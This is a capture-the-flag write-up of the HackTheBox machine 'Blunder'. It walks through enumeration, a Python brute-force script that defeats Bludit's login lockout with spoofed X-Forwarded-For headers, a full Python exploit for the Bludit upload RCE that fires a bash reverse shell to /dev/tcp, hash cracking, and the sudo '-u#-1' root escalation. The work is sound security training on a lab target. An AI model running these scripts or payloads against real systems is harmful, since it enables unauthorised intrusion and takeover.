HackTheBox - Blunder

— Written by — 10 min read
blunder hackthebox

Blunder just retired on Hackthebox, it’s an easy difficulty Linux box. This one got me a little frustrated at the beginning but in the end was quite fun and allowed me to play around with some useful tools and practice my Python coding skills. Good box if you like detective and guessing kind CTF ;)

Tl;Dr: To get the user flag you first have to find a text file containing the website CMS admin username. Then you have to bruteforce the account password using a custom word list made from the website content. Once logged you can exploit a RCE vulnerability on the CMS to get a shell as www-data. There you find a file containing SHA-1 hashed password of hugo user. After cracking it you can use it to pivot to hugo user account and grab the flag.
To get the root flag you exploit a vulnerability in a specific configuration of sudo in order to escalate your privileges and read the flag.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the hosts file:

1
[hg8@archbook ~]$ echo "10.10.10.191 blunder.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
[hg8@archbook ~]$ nmap -sV -sT -sC blunder.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-08 19:45 CEST
Nmap scan report for blunder.htb (10.10.10.191)
Host is up (0.26s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts

We have a classical web app running on port 80. Port SSH 22 is closed, that’s unusual but let’s continue.

Opening http://blunder.htb display a following page:

blunder homepage

The website seems quite basic, no images and the about page is practically empty and do not give any additional informations.

Checking the response header informs us that the website is running Bludit:

1
2
3
4
5
6
7
[hg8@archbook ~]$ curl blunder.htb -I
HTTP/1.0 200 OK
Date: Thu, 11 Jun 2020 18:42:56 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: Bludit
Connection: close
Content-Type: text/html; charset=UTF-8

Checking online we found out about it:

Bludit is a web application to build your own website or blog in seconds, it’s completely free and open source. Bludit uses files in JSON format to store the content, you don’t need to install or configure a database. You only need a web server with PHP support.

https://www.bludit.com

Looking around Bludit Github page we stumble across an Remote Code Execution vulnerability: “Bludit v3.9.2 Code Execution Vulnerability in Upload function“.
Looks pretty neat! Unfortunately this is an authenticated exploit… Let’s continue to dig.

Searching a bit more about Bludit we stumble across one interesting article:

Bludit Brute Force Mitigation Bypass

Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. Within the bl-kernel/security.class.php file, there is a function named getUserIp which attempts to determine the true IP address of the end user by trusting the X-Forwarded-For and Client-IP HTTP headers.

[…]

The reasoning behind the checking of these headers is to determine the IP address of end users who are accessing the website behind a proxy, however, trusting these headers allows an attacker to easily spoof the source address. Additionally, no validation is carried out to ensure they are valid IP addresses, meaning that an attacker can use any arbitrary value and not risk being locked out.

Those two articles gives a good insight of the path to follow. We should be able to brute-force the admin account and from there exploit the remote code execution vulnerability.

Brute Force Bludit Admin Account

So our first step is to bruteforce our way to admin panel. According to Bludit documentation it can be found at /admin endpoint:

The original researcher who found the brute-force mitigation bypass provided a simple proof-of-concept. Let’s use it and adapt it to our needs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import re
import requests

host = 'http://10.10.10.191'
login_url = host + '/admin'
username = 'admin'

with open('rockyou.txt', errors='ignore') as f:
rockyou = f.readlines()

wordlist = [x.strip() for x in rockyou]

for password in wordlist:
session = requests.Session()
login_page = session.get(login_url)
csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

print('[*] Trying: {p}'.format(p = password))

headers = {
'X-Forwarded-For': password,
'Referer': login_url
}

data = {
'tokenCSRF': csrf_token,
'username': username,
'password': password,
'save': ''
}

login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)

if 'location' in login_result.headers:
if '/admin/dashboard' in login_result.headers['location']:
print()
print('SUCCESS: Password found!')
print('Use {u}:{p} to login.'.format(u = username, p = password))
print()
break

We run it and… bummer. No password found.

When this happen it’s always good to go back at the beginning to make sure we didn’t miss any information.

Usually we would run gobuster to see if we can come up with interesting files. Let’s give it a try now:

1
2
3
4
5
6
7
8
9
10
11
12
13
[hg8@archbook ~]$ gobuster dir -u "http://blunder.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php,txt,sql
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/0 (Status: 200)
/LICENSE (Status: 200)
/about (Status: 200)
/admin (Status: 301)
/cgi-bin/ (Status: 301)
/robots.txt (Status: 200)
/server-status (Status: 403)
/todo.txt (Status: 200)

That todo.txt looks interesting:

1
2
3
4
5
[hg8@archbook ~]$ curl blunder.htb/todo.txt
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING

“Inform fergus that the new blog needs images”. Looks like fergus is very probably the admin of the blog. Let’s update our script and use fergus as username this time.

…and no results again. What could it be now ? Maybe fergus password is not in the old rockyou.txt wordlist? This is where a bit of guesswork happens.

The Blunder website is having quite a lot of vocabulary, especially the Stephen King article which have a lot of names that could make a password.
Let’s try to extract long strings from the website and test them as password.

To do so we could create a Python script using BeautifulSoup. But there is a tool that can do the job perfectly called cewl. This tool will allows us to create a wordlist from the website content:

1
2
3
4
5
6
7
8
9
10
11
12
13
[hg8@archbook ~]$ ruby cewl.rb "http://10.10.10.191/" -m 7 -w blunder.txt
[hg8@archbook ~]$ cat blunder.txt
interesting
Reading
Fantasy
National
description
Stephen
nothing
byEgotisticalSW
American
literature
[...]

Now let’s edit our script to use our newly made wordlist and run it:

1
2
3
4
5
6
[hg8@archbook ~]$ python bludit-bruteforce-bypass.py
[*] Trying: Plugins
[...]
[*] Trying: fictional
[*] Trying: character
[*] Trying: RolandDeschain

Bingo! We got the credentials as fergus:RolandDeschain.

Remote Code Execution via Upload Function

Once logged in as fergus we access the Bludit main dashboard:

bludit admin dashboard

Now that we are authenticated we can take a deeper look at the vulnerability we found earlier: Bludit v3.9.2 Code Execution Vulnerability via Upload function.
We indeed have proper access to the upload function:

bludit upload function

We now have everything need in order to exploit the vulnerability. There is even a Metasploit module available for it.

Using Metasploit is cool and all but doesn’t help to understand what’s really going on and how the vulnerability is working. So I decided to write my own script in order to better understand the problem and train my Python skills.

I ended up with the following PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python

import requests
import re

# PoC by @hg8
# Credit: @christasa
# https://github.com/bludit/bludit/issues/1081

url = "http://bludit-example.com"
user = "admin"
password = "admin"
cmd = "bash -c 'bash -i >& /dev/tcp/10.10.10.10/8585 0>&1'"


def admin_login():
s = requests.Session()
login_page = s.get(f"{url}/admin/")
csrf_token = re.search('"tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

data = {
"username": user,
"password": password,
"tokenCSRF": csrf_token
}

r = s.post(f"{url}/admin/", data, allow_redirects=False)

if r.status_code != 301:
print("[!] Username or password incorrect.")
exit()

print("[+] Loggin successful.")
return s


def get_csrf(s):
r = s.get(f"{url}/admin/")
csrf_token = r.text.split('var tokenCSRF = "')[1].split('"')[0]
print(f"[+] Token CSRF: {csrf_token}")
return csrf_token


def upload_shell(s, csrf_token):
data = {
"uuid": "../../tmp",
"tokenCSRF": csrf_token
}

multipart = [('images[]', ("blut.png", "<?php shell_exec(\"rm .htaccess;rm blut.png;" + cmd + "\");?>", 'image/png'))]

r = s.post(f"{url}/admin/ajax/upload-images", data, files=multipart)

if r.status_code != 200:
print("[!] Error uploading Shell.")
print("[!] Make sure Bludit version >= 3.9.2.")

print("[+] Shell upload succesful.")

multipart_htaccess = [('images[]', ('.htaccess', "RewriteEngine off\r\nAddType application/x-httpd-php .png", 'image/png'))]
r = s.post(url + "/admin/ajax/upload-images", data, files=multipart_htaccess)

if r.status_code != 200:
print("[!] Error uploading .htaccess.")
print("[!] Make sure Bludit version >= 3.9.2.")

print("[+] .htaccess upload succesful.")


def execute_cmd(s):
try:
r = s.get(f"{url}/bl-content/tmp/blut.png", timeout=1)
except requests.exceptions.ReadTimeout:
pass

print("[+] Command Execution Successful.")


if __name__ == '__main__':
session = admin_login()
csrf_token = get_csrf(session)
upload_shell(session, csrf_token)
execute_cmd(session)

Let’s use it to open a reverse shell.

First we open our nc listener:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585

Then execute our Remote Code Execution exploit:

1
2
3
4
5
6
[hg8@archbook ~]$ python CVE-2019-16113.py 
[+] Loggin successful.
[+] Token CSRF: 20beeffb850557dccc6e3e67a3207f822c1fdbad
[+] Shell upload succesful.
[+] .htaccess upload succesful.
[+] Command Execution successful.

And a new connection appear on our listener:

1
2
3
4
5
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.191:48860
www-data@blunder:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We now have a shell as www-data.

Pivot www-data -> hugo

Looking at the /home/ folder we can see that Hugo hold the user flag. We need to find a way to pivot to his account:

1
2
3
4
5
6
www-data@blunder:/$ ls -l /home/
total 8
drwxr-xr-x 16 hugo hugo 4096 May 26 09:29 hugo
drwxr-xr-x 16 shaun shaun 4096 Apr 28 12:13 shaun
www-data@blunder:/$ ls -l /home/hugo
-r-------- 1 hugo hugo 33 Jun 20 20:19 user.txt

Searching for Hugo string returns an entry from databases/users.php file:

1
2
3
4
www-data@blunder:/var/www$ grep -ri "hugo"
grep -ri "hugo"
bludit-3.10.0a/bl-content/databases/users.php: "nickname": "Hugo",
bludit-3.10.0a/bl-content/databases/users.php: "firstName": "Hugo",

Let’s take a look at it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@blunder:/var/www$ cat bludit-3.10.0a/bl-content/databases/users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""}
}

Bingo! We have what looks like a SHA1 hashed password. Unfortunately john can not seems to crack it:

1
2
3
4
5
6
7
[hg8@archbook ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt hugohash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 DONE (2020-06-20 21:42) 0g/s 12581Kp/s 12581Kc/s 12581KC/sie168..*7¡Vamos!
Session completed

Being sure to be on the right track I checked online on https://md5decrypt.net/en/Sha1/ website which managed to find it: faca404fd5c0a31cf1897b823c695c85cffeb98d:Password120.

Since SSH is not open let’s try to use su to change to Hugo user:

1
2
3
4
5
6
7
8
www-data@blunder:/var/www$ su - hugo
su - hugo
Password: Password120

hugo@blunder:~$ id
uid=1001(hugo) gid=1001(hugo) groups=1001(hugo)
hugo@blunder:~$ cat user.txt
1xxxxxxxxxxxxxxxxxxxxx0

Root FLag

Recon

The first thing I like to check for privilege escalation to root is the sudo config. It’s very often a good entry-point. This box was no exception and got an interesting config I never saw before:

1
2
3
4
5
hugo@blunder:/$ sudo -l
Password: Password120
[...]
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash

This configuration of sudo is meant to allows a user to run a command as any user except root. Well that’s a bummer for what we need.

Sudo Exploit

Yet it’s worth digging a bit more because after a bit of search on this configuration we stumble upon CVE-2019-14287:

A flaw was found in the way sudo implemented running commands with arbitrary user ID. If a sudoers entry is written to allow the attacker to run a command as any user except root, this flaw can be used by the attacker to bypass that restriction.

That’s exactly what we need. To summary, sudo check user ID being passed incorrectly and convert it to -1, or its unsigned equivalent 4294967295 user ID as 0, which is always the user ID of root user.

Let’s see if the version running on the box is vulnerable:

1
2
3
4
5
hugo@blunder:/$ sudo -u#-1 /bin/bash
Password: Password120

root@blunder:/# cat /root/root.txt
3xxxxxxxxxxxxxxxxxxxxd

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFHackTheBoxEasy Box
, , , , , , , , , ,